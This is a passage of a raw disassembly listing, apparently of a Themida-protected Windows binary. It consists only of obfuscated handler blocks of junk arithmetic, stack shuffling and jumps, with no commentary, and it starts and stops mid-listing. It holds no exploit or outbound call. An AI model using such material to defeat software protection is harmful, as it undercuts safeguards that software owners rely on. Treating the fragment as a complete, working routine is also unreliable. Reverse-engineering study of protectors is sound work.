sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_596922
; ---------------------------------------------------------------------------
loc_5967A4: ; CODE XREF: Themida_:0059118Bj
mov bp, di
mov dx, bp
mov ebp, [esp]
add esp, 4
jmp loc_59F4E2
; ---------------------------------------------------------------------------
loc_5967B8: ; CODE XREF: Themida_:0059DAFEj
sub ecx, edi
sub ecx, 531217FAh
jmp loc_592698
; ---------------------------------------------------------------------------
loc_5967C5: ; CODE XREF: Themida_:005942E1j
sub edx, ebp
push dword ptr [esp]
pop ebp
add esp, 4
mov eax, [esp]
jmp loc_5A2219
; ---------------------------------------------------------------------------
loc_5967D6: ; CODE XREF: Themida_:00599DF8j
pop esi
jmp loc_599344
; ---------------------------------------------------------------------------
loc_5967DC: ; CODE XREF: Themida_:00593E88j
xchg ebx, [esp]
jmp loc_59B67F
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
push 1900h
jmp loc_594B44
; ---------------------------------------------------------------------------
loc_5967F2: ; CODE XREF: Themida_:005934A9j
push ecx
mov ecx, 5E2A60F0h
neg ecx
inc ecx
add ecx, 1
jmp loc_59314A
; ---------------------------------------------------------------------------
loc_596806: ; CODE XREF: Themida_:0059C66Aj
mov edi, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_59BD97
; ---------------------------------------------------------------------------
loc_596817: ; CODE XREF: Themida_:0059AF3Ej
add esp, 4
push ecx
mov ecx, 63140ECAh
not ecx
add ecx, 46634058h
sub edx, ecx
jmp loc_59BA16
; ---------------------------------------------------------------------------
loc_59682F: ; CODE XREF: Themida_:00595503j
sub dword ptr [esp+8], 581C7BBBh
jmp loc_593285
; ---------------------------------------------------------------------------
loc_59683C: ; CODE XREF: Themida_:005988A8j
push ax
jmp loc_59D6A2
; ---------------------------------------------------------------------------
loc_596843: ; CODE XREF: Themida_:005A4687j
sub ecx, 54E451C6h
add ecx, ebp
add ecx, 54E451C6h
push ebp
jmp loc_59A55A
; ---------------------------------------------------------------------------
loc_596857: ; CODE XREF: Themida_:00599DE6j
mov ebp, ebx
pop ebx
push edx
mov edx, 5B1A007Ch
add ebp, edx
jmp loc_59541D
; ---------------------------------------------------------------------------
loc_596867: ; CODE XREF: Themida_:005A2DCCj
xor edx, 6FC87C69h
or edx, 45F36C24h
xor edx, 717622C4h
mov ecx, 66F0910h
add ecx, edx
pop edx
add esi, ecx
pop ecx
jmp loc_596E46
; ---------------------------------------------------------------------------
loc_596889: ; CODE XREF: Themida_:005A08CDj
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_59564C
; ---------------------------------------------------------------------------
loc_59689D: ; CODE XREF: Themida_:00593ADAj
not ch
xchg ch, dl
push 36E6h
mov [esp], ebx
mov bl, 0E8h
dec bl
xor bl, 77h
jmp loc_59AAD0
; ---------------------------------------------------------------------------
loc_5968B5: ; CODE XREF: Themida_:0059C88Dj
sub edx, 1
dec edx
add edx, 0DF2C3CCBh
xor ebx, edx
pop edx
jmp loc_5A12A8
; ---------------------------------------------------------------------------
loc_5968C7: ; CODE XREF: Themida_:00591C8Fj
and eax, esi
jmp loc_5A31E8
; ---------------------------------------------------------------------------
loc_5968CE: ; CODE XREF: Themida_:00590E59j
shr esi, 6
shl esi, 4
add esi, 3B076E99h
sub ebx, esi
pop esi
xor eax, ebx
pop ebx
push 602Dh
mov [esp], ecx
jmp loc_591A70
; ---------------------------------------------------------------------------
loc_5968ED: ; CODE XREF: Themida_:00591BFBj
add [esp], al
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5968F6: ; CODE XREF: Themida_:005974B0j
shr edi, 3
neg edi
jmp loc_590D70
; ---------------------------------------------------------------------------
loc_596900: ; CODE XREF: Themida_:00590DCAj
dec eax
not eax
push ebp
mov ebp, 7E787FC9h
add eax, 150E3102h
jmp loc_59A97C
; ---------------------------------------------------------------------------
loc_596913: ; CODE XREF: Themida_:00591F57j
pop ecx
pop ebx
jmp loc_599B01
; ---------------------------------------------------------------------------
loc_59691A: ; CODE XREF: Themida_:00594EFDj
push esi
mov esi, esp
jmp loc_590670
; ---------------------------------------------------------------------------
loc_596922: ; CODE XREF: Themida_:0059679Fj
mov [esp], ebx
push ebp
jmp loc_592987
; ---------------------------------------------------------------------------
loc_59692B: ; CODE XREF: Themida_:0059817Dj
xor al, dl
jmp loc_5A108B
; ---------------------------------------------------------------------------
loc_596932: ; CODE XREF: Themida_:005A0C61j
add ebp, 77D10D1Dh
mov esi, [esp]
add esp, 4
push ebp
push dword ptr [esp+4]
pop ebp
jmp loc_5A0160
; ---------------------------------------------------------------------------
loc_596949: ; CODE XREF: Themida_:005945F8j
pop esp
mov [esp], esi
pop edi
pop esi
push ebx
mov ebx, 1EC02E4Fh
and edi, ebx
pop ebx
push ebp
push edx
mov edx, 62AE7F48h
neg edx
inc edx
or edx, 299416D1h
xor edx, 0EDB7BA1Dh
mov ebp, edx
pop edx
inc ebp
sub ebp, 649C7C57h
sub edi, ebp
pop ebp
jmp loc_5A3C89
; ---------------------------------------------------------------------------
pop small word ptr [edx]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_596988: ; CODE XREF: Themida_:0059F4F3j
push eax
mov eax, esp
jmp loc_592096
; ---------------------------------------------------------------------------
loc_596990: ; CODE XREF: Themida_:005920B0j
add esp, 4
add ebp, 4
jmp loc_59293A
; ---------------------------------------------------------------------------
loc_59699E: ; CODE XREF: Themida_:0059523Fj
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
or edx, eax
jmp loc_5944C6
; ---------------------------------------------------------------------------
loc_5969B4: ; CODE XREF: Themida_:005A1752j
shr eax, 0Eh
xor eax, ecx
xor eax, esi
xor esi, eax
xor eax, esi
push esi
push ecx
pop esi
jmp loc_59878B
; ---------------------------------------------------------------------------
loc_5969C7: ; CODE XREF: Themida_:00590D2Ej
sub bx, ax
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
add bx, bp
add bx, 0E74h
jmp loc_5A2398
; ---------------------------------------------------------------------------
loc_5969EA: ; CODE XREF: Themida_:00598E1Bj
push ebx
jmp loc_598AC5
; ---------------------------------------------------------------------------
mov ax, [esp]
push 15D4h
mov [esp], ecx
push esp
jmp loc_597F4B
; ---------------------------------------------------------------------------
loc_596A02: ; CODE XREF: Themida_:005972DFj
mov ebx, esp
add ebx, 4
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
mov [esp], edi
mov edi, 4
add [esp+4], edi
jmp loc_59C1B9
; ---------------------------------------------------------------------------
loc_596A2B: ; CODE XREF: Themida_:00590434j
neg ebp
sub ebp, 0B9F0F188h
xor ecx, ebp
jmp loc_5932F6
; ---------------------------------------------------------------------------
loc_596A3A: ; CODE XREF: Themida_:00594796j
and al, cl
mov cx, [esp]
push 2D49h
mov [esp], ebx
jmp loc_59F957
; ---------------------------------------------------------------------------
loc_596A4D: ; CODE XREF: Themida_:0059DE1Cj
inc edi
not edi
sub edi, 0ACC6A5FEh
push ecx
jmp loc_5A3C9D
; ---------------------------------------------------------------------------
loc_596A5C: ; CODE XREF: Themida_:005A0468j
dec edx
sub edx, 0D7E6F905h
sub ebx, edx
push dword ptr [esp]
pop edx
add esp, 4
mov dx, [esp]
jmp loc_59A631
; ---------------------------------------------------------------------------
loc_596A78: ; CODE XREF: Themida_:005A3F3Fj
sub ebx, 32F2552Dh
sub ebx, 19867055h
sub ebx, 2AA4659Dh
xor esi, ebx
jmp loc_5A276B
; ---------------------------------------------------------------------------
loc_596A91: ; CODE XREF: Themida_:00591BC8j
add esp, 4
pop eax
xor ebx, ebp
mov ebp, [esp]
add esp, 4
push 874h
mov [esp], ebp
push 1869h
mov [esp], ebx
pop ebp
mov [edi+24h], ebp
pop ebp
push dword ptr [esp]
jmp loc_595E8B
; ---------------------------------------------------------------------------
loc_596ABD: ; CODE XREF: Themida_:005995BAj
sub eax, edx
pop edx
xchg eax, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
pop ebp
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
jmp loc_5A131B
; ---------------------------------------------------------------------------
loc_596AEB: ; CODE XREF: Themida_:0059C8A3j
sub eax, edx
push dword ptr [esp]
pop edx
push edx
push esp
jmp loc_59A716
; ---------------------------------------------------------------------------
loc_596AF8: ; CODE XREF: Themida_:005A1F42j
add esp, 4
jmp loc_5A4CCE
; ---------------------------------------------------------------------------
loc_596B03: ; CODE XREF: Themida_:005A448Cj
pop esi
jmp loc_59B7B0
; ---------------------------------------------------------------------------
loc_596B09: ; CODE XREF: Themida_:0059C8D1j
push dword ptr [esp]
jmp loc_59B718
; ---------------------------------------------------------------------------
mov ax, [esp]
push 5519h
mov [esp], edi
push esp
pop edi
push edx
mov edx, 4
add edi, edx
pop edx
push 1288h
mov [esp], esi
jmp loc_59D4CD
; ---------------------------------------------------------------------------
loc_596B35: ; CODE XREF: Themida_:005958A7j
mov al, 0B5h
add bl, al
pop ax
pop edx
add bl, 8Bh
sub bl, al
sub bl, 8Bh
push 4EADh
mov [esp], edx
mov dl, 40h
add bl, dl
jmp loc_59A2CC
; ---------------------------------------------------------------------------
loc_596B55: ; CODE XREF: Themida_:005A42F0j
mov [esp], edi
push 39F82DA1h
mov edi, [esp]
add esp, 4
and edi, 2E195628h
jmp loc_5A4884
; ---------------------------------------------------------------------------
loc_596B6E: ; CODE XREF: Themida_:0059D325j
mov eax, [esp]
add esp, 4
pop edi
shl ebx, 1
jmp loc_5A1676
; ---------------------------------------------------------------------------
loc_596B7C: ; CODE XREF: Themida_:005928C8j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop edx
add esp, 4
push ebx
mov ebx, 4
add edx, ebx
mov ebx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
sub esp, 4
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
push 4C04h
mov [esp], ebp
mov ebp, esp
push eax
jmp loc_59C8E4
; ---------------------------------------------------------------------------
loc_596BC6: ; CODE XREF: Themida_:0059B05Aj
add esi, ecx
sub esi, 3D481C33h
jmp loc_5953C2
; ---------------------------------------------------------------------------
loc_596BD3: ; CODE XREF: Themida_:005A28FDj
add esi, 508F5A55h
jmp loc_59DAB0
; ---------------------------------------------------------------------------
loc_596BDE: ; CODE XREF: Themida_:0059CCC2j
pop edx
add edi, ebx
pop ebx
jmp loc_5A1919
; ---------------------------------------------------------------------------
loc_596BE7: ; CODE XREF: Themida_:00599196j
push eax
mov al, 94h
not al
add al, 5Fh
xor al, 0F4h
mov bl, al
mov eax, [esp]
add esp, 4
shl bl, 1
sub bl, 68h
mov dl, bl
pop ebx
push ebx
mov bl, 3Bh
jmp loc_59DA4C
; ---------------------------------------------------------------------------
loc_596C08: ; CODE XREF: Themida_:00593706j
push ecx
push 49C23535h
pop ecx
mov esi, ecx
pop ecx
or esi, 2EDB69BBh
push eax
jmp loc_59CE65
; ---------------------------------------------------------------------------
loc_596C1E: ; CODE XREF: Themida_:00593C98j
pop esi
jmp loc_5A1807
; ---------------------------------------------------------------------------
loc_596C24: ; CODE XREF: Themida_:0059A7B5j
pop ecx
or edx, 6E5D56E7h
sub edx, 674347DCh
xor edx, 600A78AAh
xor ebx, edx
pop edx
push 0
sub [esp], ebx
jmp loc_59D506
; ---------------------------------------------------------------------------
loc_596C47: ; CODE XREF: Themida_:0059F036j
sub esp, 4
mov [esp], edi
jmp loc_596FF4
; ---------------------------------------------------------------------------
loc_596C52: ; CODE XREF: Themida_:00596F0Aj
add [esp+4], edx
mov edx, [esp]
push edi
mov edi, esp
jmp loc_59E29A
; ---------------------------------------------------------------------------
loc_596C61: ; CODE XREF: Themida_:00597934j
mov ebx, [esp]
push 21F3h
mov [esp], ebx
mov ebx, esp
jmp loc_596FA1
; ---------------------------------------------------------------------------
loc_596C73: ; CODE XREF: Themida_:0059EC3Cj
push 3BF1h
mov [esp], ebx
push esp
mov ebx, [esp]
add esp, 4
push edx
jmp loc_598B00
; ---------------------------------------------------------------------------
loc_596C88: ; CODE XREF: Themida_:00598D43j
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_596730
; ---------------------------------------------------------------------------
loc_596C9F: ; CODE XREF: Themida_:00594BC6j
pop ebp
shr ebp, 1
jmp loc_595CBB
; ---------------------------------------------------------------------------
loc_596CA7: ; CODE XREF: Themida_:005A2FD5j
push ebx
mov ebx, esp
push eax
jmp loc_59D96F
; ---------------------------------------------------------------------------
loc_596CB0: ; CODE XREF: Themida_:0059ACF2j
add esi, 8481BDCh
mov ebx, 264D452Ah
push esi
push edi
mov edi, 3DC455E1h
dec edi
jmp loc_599895
; ---------------------------------------------------------------------------
loc_596CC8: ; CODE XREF: Themida_:00599DC1j
push ebx
jmp loc_591B38
; ---------------------------------------------------------------------------
loc_596CCE: ; CODE XREF: Themida_:005A1D4Bj
pop ecx
add ecx, 4
jmp loc_5A362F
; ---------------------------------------------------------------------------
loc_596CDA: ; CODE XREF: Themida_:005945C6j
pop esp
mov [esp], esp
jmp loc_5A51A5
; ---------------------------------------------------------------------------
loc_596CE3: ; CODE XREF: Themida_:00598B64j
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_596CE8: ; CODE XREF: Themida_:005A3430j
mov ebp, ecx
mov ecx, [esp]
add esp, 4
or [edi+1Ch], ebp
mov ebp, [esp]
push ecx
jmp loc_5961B8
; ---------------------------------------------------------------------------
loc_596CFC: ; CODE XREF: Themida_:0059B12Cj
add ebp, 400613Bh
sub ebp, 1B688761h
jmp loc_5A42C8
; ---------------------------------------------------------------------------
loc_596D0D: ; CODE XREF: Themida_:005A0AA0j
pop esi
sub edx, 4
jmp loc_592D01
; ---------------------------------------------------------------------------
loc_596D19: ; CODE XREF: Themida_:00591947j
add edi, eax
pop eax
add edi, 93B5D9Fh
xor edi, 97B0E4D1h
add ebp, edi
mov edi, [esp]
jmp loc_59E9AE
; ---------------------------------------------------------------------------
loc_596D32: ; CODE XREF: Themida_:00590CA2j
push dword ptr [esp]
pop eax
push 2584h
mov [esp], ebp
push esp
pop ebp
push ebx
mov ebx, 4EAB1E6Ch
sub esp, 4
mov [esp], edi
push edx
mov edx, 66AA51ACh
mov edi, edx
jmp loc_59FF88
; ---------------------------------------------------------------------------
loc_596D59: ; CODE XREF: Themida_:0059E15Fj
add edx, 4
push ebx
mov ebx, 4
add edx, 536A031Ch
sub edx, ebx
jmp loc_5A1972
; ---------------------------------------------------------------------------
loc_596D72: ; CODE XREF: Themida_:0059A511j
mov ebp, 3A43339h
add eax, ebp
pop ebp
add eax, edx
push ecx
mov ecx, 3A43339h
sub eax, ecx
pop ecx
pop edx
push ecx
mov ecx, 66743D9Eh
and ecx, 5C4D33BAh
jmp loc_59D5A3
; ---------------------------------------------------------------------------
loc_596D97: ; CODE XREF: Themida_:00591AA8j
xor ecx, 25032EFEh
jmp loc_59D7A2
; ---------------------------------------------------------------------------
loc_596DA2: ; CODE XREF: Themida_:0059DCB4j
push edx
mov edx, 69C071D7h
shl edx, 1
jmp loc_595B54
; ---------------------------------------------------------------------------
loc_596DAF: ; CODE XREF: Themida_:0059F92Dj
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
btc [esp], ax
pushf
jmp loc_5996BA
; ---------------------------------------------------------------------------
loc_596DC3: ; CODE XREF: Themida_:005998F9j
pop ebx
push ebp
jmp loc_59AFBC
; ---------------------------------------------------------------------------
loc_596DCA: ; CODE XREF: Themida_:005956A3j
mov [esp], ebp
mov ebp, 37B43932h
push 447h
mov [esp], edx
mov edx, 28F817D5h
add ebx, edx
pop edx
sub ebx, ebp
sub ebx, 28F817D5h
jmp loc_595E39
; ---------------------------------------------------------------------------
loc_596DEF: ; CODE XREF: Themida_:005944C1j
add edi, ebx
push dword ptr [esp]
pop ebx
add esp, 4
push ebp
sub esp, 4
mov [esp], ecx
jmp loc_59BC42
; ---------------------------------------------------------------------------
loc_596E07: ; CODE XREF: Themida_:00597BC7j
dec ebp
xor ebp, 36B124BBh
jmp loc_5920D1
; ---------------------------------------------------------------------------
loc_596E13: ; CODE XREF: Themida_:0059E4BDj
add esi, 10C420ABh
dec esi
xor esi, 77BCC7A6h
add edx, esi
pop esi
jmp loc_5996BF
; ---------------------------------------------------------------------------
loc_596E28: ; CODE XREF: Themida_:0059B5ADj
xor esi, 41C2C82Dh
jmp loc_59F512
; ---------------------------------------------------------------------------
loc_596E33: ; CODE XREF: Themida_:0059F81Fj
mov ebx, 4
sub eax, ebx
pop ebx
push eax
push dword ptr [esp+4]
pop eax
jmp loc_59C2D6
; ---------------------------------------------------------------------------
loc_596E46: ; CODE XREF: Themida_:00596884j
add esi, ebx
push edi
jmp loc_595B19
; ---------------------------------------------------------------------------
loc_596E4E: ; CODE XREF: Themida_:00590E40j
pop edi
sub ecx, 2135950h
sub ecx, 6F5539EDh
add ecx, ebp
add ecx, 6F5539EDh
jmp loc_59EB46
; ---------------------------------------------------------------------------
loc_596E68: ; CODE XREF: Themida_:005911ADj
sub ecx, edx
add ecx, 5D6355E5h
mov edx, [esp]
jmp loc_5A28C7
; ---------------------------------------------------------------------------
loc_596E78: ; CODE XREF: Themida_:005A5139j
mov ecx, esp
jmp loc_598531
; ---------------------------------------------------------------------------
loc_596E7F: ; CODE XREF: Themida_:0059412Aj
pop ebx
sub esp, 4
jmp loc_5A0491
; ---------------------------------------------------------------------------
loc_596E8B: ; CODE XREF: Themida_:005A0C15j
sub esp, 4
mov [esp], ebp
mov ebp, 1095690h
jmp loc_59D0A4
; ---------------------------------------------------------------------------
loc_596E9E: ; CODE XREF: Themida_:00593525j
push 4FC7h
jmp loc_59A5A8
; ---------------------------------------------------------------------------
loc_596EA8: ; CODE XREF: Themida_:00594F70j
xchg ebx, [esp]
pop esp
sub edi, 4FDD2562h
not edi
add edi, 1
jmp loc_5975CA
; ---------------------------------------------------------------------------
loc_596EBC: ; CODE XREF: Themida_:0059DE37j
xchg edx, [esp]
jmp loc_591D18
; ---------------------------------------------------------------------------
loc_596EC4: ; CODE XREF: Themida_:00590EAFj
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5A02DA
; ---------------------------------------------------------------------------
loc_596EDB: ; CODE XREF: Themida_:0059D7F6j
push ecx
mov ecx, 143B2B7Fh
neg ecx
shr ecx, 4
xor ecx, 6F2D75E4h
jmp loc_59F8DB
; ---------------------------------------------------------------------------
loc_596EF1: ; CODE XREF: Themida_:0059486Aj
shr edi, 3
add edi, 56FD63F2h
not edi
not edi
push ecx
jmp loc_594B00
; ---------------------------------------------------------------------------
loc_596F04: ; CODE XREF: Themida_:0059BBC0j
push edx
mov edx, 4
jmp loc_596C52
; ---------------------------------------------------------------------------
loc_596F0F: ; CODE XREF: Themida_:0059CC47j
add esp, 4
push 647Dh
jmp loc_5A1AD1
; ---------------------------------------------------------------------------
loc_596F1C: ; CODE XREF: Themida_:00592F96j
add esp, 4
jmp loc_59346C
; ---------------------------------------------------------------------------
loc_596F27: ; CODE XREF: Themida_:0059E28Aj
add esi, edx
jmp loc_5A5522
; ---------------------------------------------------------------------------
loc_596F2E: ; CODE XREF: Themida_:005A12F6j
add edx, 2
xor edx, [esp]
xor [esp], edx
jmp loc_59D842
; ---------------------------------------------------------------------------
loc_596F3C: ; CODE XREF: Themida_:0059D198j
pop dword ptr [esp]
jmp loc_5A46AE
; ---------------------------------------------------------------------------
loc_596F44: ; CODE XREF: Themida_:0059CEF1j
add esp, 4
add eax, edx
pop edx
push 1793h
mov [esp], ecx
push edi
push 153C630Bh
mov edi, [esp]
jmp loc_5960FB
; ---------------------------------------------------------------------------
loc_596F60: ; CODE XREF: Themida_:005A08BFj
not edx
sub edx, 640E8970h
jmp loc_599CF4
; ---------------------------------------------------------------------------
loc_596F6D: ; CODE XREF: Themida_:0059E793j
push ebp
jmp loc_596252
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
pop eax
push 3229h
jmp loc_59EE80
; ---------------------------------------------------------------------------
loc_596F87: ; CODE XREF: Themida_:00597D03j
sub esi, 0BB6068EBh
sub eax, esi
pop esi
xchg eax, [esp]
pop esp
mov [esp], ecx
push ebx
mov bl, al
push eax
push ecx
jmp loc_5A46CB
; ---------------------------------------------------------------------------
loc_596FA1: ; CODE XREF: Themida_:00596C6Ej
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
xor bl, al
movzx eax, al
pop dword ptr [edi+eax*4]
jmp loc_5A156F
; ---------------------------------------------------------------------------
loc_596FBB: ; CODE XREF: Themida_:00593B0Dj
add esp, 4
jmp loc_59FA46
; ---------------------------------------------------------------------------
loc_596FC3: ; CODE XREF: Themida_:0059411Fj
pop dword ptr [esp]
push edx
mov edx, 4
push eax
mov eax, esp
push ebx
mov ebx, 4
jmp loc_59FAD8
; ---------------------------------------------------------------------------
loc_596FDA: ; CODE XREF: Themida_:005A3439j
xchg dl, cl
jmp loc_59D9B1
; ---------------------------------------------------------------------------
loc_596FE1: ; CODE XREF: Themida_:0059CCFAj
and ecx, 729C276Fh
add ecx, 5624E3B5h
sub edi, ecx
jmp loc_5A33E9
; ---------------------------------------------------------------------------
loc_596FF4: ; CODE XREF: Themida_:00596C4Dj
push eax
push 3024h
mov [esp], ecx
mov ecx, 3A115C63h
push esi
mov esi, 52CC40E5h
neg esi
not esi
dec esi
neg esi
jmp loc_59061E
; ---------------------------------------------------------------------------
loc_597014: ; CODE XREF: Themida_:005916E0j
add ebx, edx
pop edx
xchg ebx, [esp]
pop esp
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_597020: ; CODE XREF: Themida_:00597EBCj
push edi
mov edi, 652A2CA8h
mov esi, edi
pop edi
push ebx
jmp loc_591C00
; ---------------------------------------------------------------------------
loc_59702F: ; CODE XREF: Themida_:00592717j
sub eax, 5E475687h
pop edi
add eax, 2
jmp loc_591BE9
; ---------------------------------------------------------------------------
loc_59703D: ; CODE XREF: Themida_:005A04CDj
mov esi, 6CD72C62h
push ebx
jmp loc_5A3F55
; ---------------------------------------------------------------------------
loc_597048: ; CODE XREF: Themida_:005959E8j
mov [esp], esp
push 208Eh
mov [esp], edx
mov edx, 12C92EFAh
sub edx, 2906578Ch
shr edx, 1
neg edx
add edx, 74E16BBBh
add [esp+4], edx
pop edx
pop edi
add edi, 4
add edi, 4
jmp loc_59483A
; ---------------------------------------------------------------------------
loc_59707C: ; CODE XREF: Themida_:0059B429j
sub esp, 4
mov [esp], ecx
push ebp
mov ebp, 0A397F2Ah
mov ecx, 1C91B365h
sub ecx, ebp
pop ebp
add eax, ecx
pop ecx
push 5FD4h
mov [esp], ebp
push esi
jmp loc_59F7D9
; ---------------------------------------------------------------------------
loc_5970A4: ; CODE XREF: Themida_:005A4C44j
mov ecx, 2
jmp loc_594293
; ---------------------------------------------------------------------------
loc_5970AE: ; CODE XREF: Themida_:0059E0DFj
not edi
neg edi
xor edi, 0D11601A1h
jmp loc_5A2269
; ---------------------------------------------------------------------------
loc_5970BD: ; CODE XREF: Themida_:00590AB7j
mov [esp], edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
jmp loc_5A1BDC
; ---------------------------------------------------------------------------
loc_5970CF: ; CODE XREF: Themida_:0059DCC0j
push esp
jmp loc_5A4DA5
; ---------------------------------------------------------------------------
loc_5970D5: ; CODE XREF: Themida_:005974FEj
sub ebx, 0BA68D0E6h
mov ecx, ebx
pop ebx
push eax
mov eax, 25156F94h
sub eax, 1CFF204Ah
add ecx, eax
pop eax
add ecx, 0BD66EA57h
sub ebx, 37DC00B0h
jmp loc_598C94
; ---------------------------------------------------------------------------
loc_5970FD: ; CODE XREF: Themida_:00593E08j
pop ecx
jmp loc_5A311B
; ---------------------------------------------------------------------------
loc_597103: ; CODE XREF: Themida_:0059ACFCj
and ecx, ebx
pop ebx
jmp loc_5A079A
; ---------------------------------------------------------------------------
loc_59710B: ; CODE XREF: Themida_:0059350Cj
pop eax
push ebx
push eax
push edx
mov edx, 32C9171Fh
inc edx
add edx, 1ACA7961h
jmp loc_5A2C81
; ---------------------------------------------------------------------------
loc_597120: ; CODE XREF: Themida_:005A4B88j
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
add esi, 4
push ebp
mov ebp, 2
sub esi, 369B7936h
add esi, ebp
add esi, 369B7936h
pop ebp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_5998FE
; ---------------------------------------------------------------------------
loc_597154: ; CODE XREF: Themida_:0059FDC1j
mov [esp], edx
mov edx, 6B7347DBh
push esi
mov esi, 0CCC3DA2h
not esi
push edx
mov edx, 0CD8D56B4h
sub esi, edx
jmp loc_5A0A81
; ---------------------------------------------------------------------------
loc_597171: ; CODE XREF: Themida_:00591891j
pop esi
mov ebx, [esp]
add esp, 4
xor esi, eax
mov eax, [esp]
add esp, 4
push esi
mov edi, [esp]
add esp, 4
mov esi, [esp]
jmp loc_5965BF
; ---------------------------------------------------------------------------
loc_597192: ; CODE XREF: Themida_:005A2C2Bj
mov ecx, 4E256C38h
sub edx, ecx
pop ecx
add edx, ebp
add edx, 4E256C38h
pop ebp
xor edx, [esp]
jmp loc_5A0489
; ---------------------------------------------------------------------------
loc_5971AB: ; CODE XREF: Themida_:005A1B64j
pop eax
xor dl, 35h
jmp loc_597581
; ---------------------------------------------------------------------------
loc_5971B4: ; CODE XREF: Themida_:005A1004j
mov edx, edi
pop edi
jmp loc_5A3895
; ---------------------------------------------------------------------------
loc_5971BC: ; CODE XREF: Themida_:00590B82j
not eax
sub eax, 26834A0Eh
shl eax, 4
xor eax, 641F5602h
mov ebx, eax
pop eax
add eax, ebx
pop ebx
push edx
push ecx
jmp loc_5977BF
; ---------------------------------------------------------------------------
loc_5971D8: ; CODE XREF: Themida_:0059E316j
push 0
sub [esp], ebx
pop ebx
jmp loc_598EE3
; ---------------------------------------------------------------------------
loc_5971E6: ; CODE XREF: Themida_:005A12D0j
pop dword ptr [esp]
pop esp
jmp loc_597D39
; ---------------------------------------------------------------------------
loc_5971EF: ; CODE XREF: Themida_:0059AA36j
shl ecx, 1
sub ecx, 3337612Eh
or esi, ecx
pop ecx
shr esi, 2
dec esi
push ecx
push eax
push edx
push 63C278F0h
jmp loc_59CD82
; ---------------------------------------------------------------------------
loc_59720B: ; CODE XREF: Themida_:005A2B91j
pop esp
mov [esp], bx
push edx
mov dx, 0ADA3h
push edi
jmp loc_59CCC7
; ---------------------------------------------------------------------------
loc_59721B: ; CODE XREF: Themida_:005A1539j
neg dl
neg dl
jmp loc_593044
; ---------------------------------------------------------------------------
loc_597224: ; CODE XREF: Themida_:00594F68j
push 75A2h
mov [esp], ebx
push esi
jmp loc_5A2841
; ---------------------------------------------------------------------------
loc_597232: ; CODE XREF: Themida_:0059C8ABj
add esp, 4
xchg esi, [esp]
pop esp
push dword ptr [esp]
pop ecx
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_591968
; ---------------------------------------------------------------------------
loc_597253: ; CODE XREF: Themida_:005A3CA6j
mov ebx, [esp]
jmp loc_5A513E
; ---------------------------------------------------------------------------
loc_59725B: ; CODE XREF: Themida_:0059F5A9j
pop esp
xor eax, esi
push dword ptr [esp]
push dword ptr [esp]
jmp loc_591D1E
; ---------------------------------------------------------------------------
loc_597269: ; CODE XREF: Themida_:0059953Ej
mov ecx, [ebx]
pop ebx
sub esp, 4
jmp loc_59A3D0
; ---------------------------------------------------------------------------
loc_597277: ; CODE XREF: Themida_:005A0A34j
mov ecx, [esp]
jmp loc_59DF96
; ---------------------------------------------------------------------------
loc_59727F: ; CODE XREF: Themida_:00592D0Fj
push ecx
pop edx
pop ecx
add edx, 7A7D3C90h
not edx
not edx
add edx, 782FE396h
sub esi, edx
pop edx
add esi, 63C03F27h
add esi, eax
push eax
push ebp
jmp loc_59614F
; ---------------------------------------------------------------------------
loc_5972A4: ; CODE XREF: Themida_:0059C488j
mov eax, ebx
mov ebx, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_5A0C1A
; ---------------------------------------------------------------------------
loc_5972B7: ; CODE XREF: Themida_:005A3994j
push 6981h
mov [esp], edi
push ebp
mov ebp, 0F9DACE9Eh
jmp loc_590789
; ---------------------------------------------------------------------------
loc_5972CA: ; CODE XREF: Themida_:0059C1D2j
push edx
push eax
mov eax, 50473A0Fh
xor [esp+4], eax
pop eax
jmp loc_5A3CAB
; ---------------------------------------------------------------------------
loc_5972DB: ; CODE XREF: Themida_:005A4A06j
pop dword ptr [esp]
push ebx
jmp loc_596A02
; ---------------------------------------------------------------------------
loc_5972E4: ; CODE XREF: Themida_:005A1FA5j
add eax, 4
xchg eax, [esp]
jmp loc_5944CE
; ---------------------------------------------------------------------------
loc_5972EF: ; CODE XREF: Themida_:0059B2DCj
pop esp
mov [esp], ecx
push ebx
jmp loc_5A318A
; ---------------------------------------------------------------------------
loc_5972F9: ; CODE XREF: Themida_:005913E5j
div cx
push 4223h
mov [esp], ebx
mov ebx, esp
add ebx, 4
push edx
jmp loc_59304F
; ---------------------------------------------------------------------------
loc_597312: ; CODE XREF: Themida_:0059B7F5j
pop esp
jmp loc_594F52
; ---------------------------------------------------------------------------
loc_597318: ; CODE XREF: Themida_:0059A27Aj
mov ebx, 797D4BC8h
jmp loc_59508A
; ---------------------------------------------------------------------------
loc_597322: ; CODE XREF: Themida_:005A460Bj
mov eax, [esp]
add esp, 4
jmp loc_598471
; ---------------------------------------------------------------------------
loc_59732D: ; CODE XREF: Themida_:00592D2Ej
